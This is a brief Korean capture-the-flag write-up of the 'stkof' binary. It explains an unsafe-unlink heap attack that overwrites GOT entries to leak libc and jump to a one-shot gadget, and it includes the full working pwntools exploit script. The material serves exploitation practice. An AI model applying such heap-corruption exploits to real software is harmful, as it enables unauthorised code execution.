vulnerability : unsafe_unlink
unsafe_unlink가 기억이 안나 복기할겸 문제를 풀었다.
이 문제같은 경우는 할당한 heap영역들을 0x602100에 저장하면서 free나 fread를 할 때도 0x602100에 있는 값을 기준으로 하기 때문에 unsafe unlink 공격이 가능했다.
0x602100에 strlen@got를 공략했다.
strlen의 got를 puts의 주소로 덮어쓰면 puts(s[index])가 되어 libc leak이 가능하기 때문이다.
그래서 0x602100에 strlen@got를 넣고 fread()함수를 통해 puts@plt를 넣은 후 릭을 하였고, 다시 0x602100에 puts@got 주소를 넣어 거기에 oneshot 가젯을 넣으며 익스를 했다.
from pwn import * def malloc(size): p.sendline("1") p.sendline(str(size)) #print p.recv() def write(index, size, payload): p.sendline("2") p.sendline(str(index)) p.sendline(str(size)) p.send(payload) def free(index): p.sendline("3") p.sendline(str(index)) def leak(index): p.sendline("4") p.sendline(str(index)) return u64(p.recv(6).ljust(8, "\x00")) if __name__ == '__main__': elf = ELF('./stkof') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./stkof') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] strlen_got = elf.got['strlen'] malloc(128) malloc(128) payload = p64(0)*2 payload += p64(0x602130) payload += p64(0x602138) payload += p64(0)*142 payload += p64(0x490) payload += p64(0x90) #pause() write(1, len(payload), payload) #pause() free(2) #print p.recv() payload = p64(0)*2 payload += p64(strlen_got) payload += p64(0x602130) payload += p64(puts_got) write(1, len(payload), payload) #print p.recv() write(0, 8, p64(puts_plt)) print p.recv() #pause() libc_puts = leak(2) libc_base = libc_puts - libc.symbols['puts'] oneshot = libc_base + 0x45216 log.info("libc_puts = {}".format(hex(libc_puts))) log.info("libc_base = {}".format(hex(libc_base))) log.info("oneshot = {}".format(hex(oneshot))) write(2, 8, p64(oneshot)) p.interactive()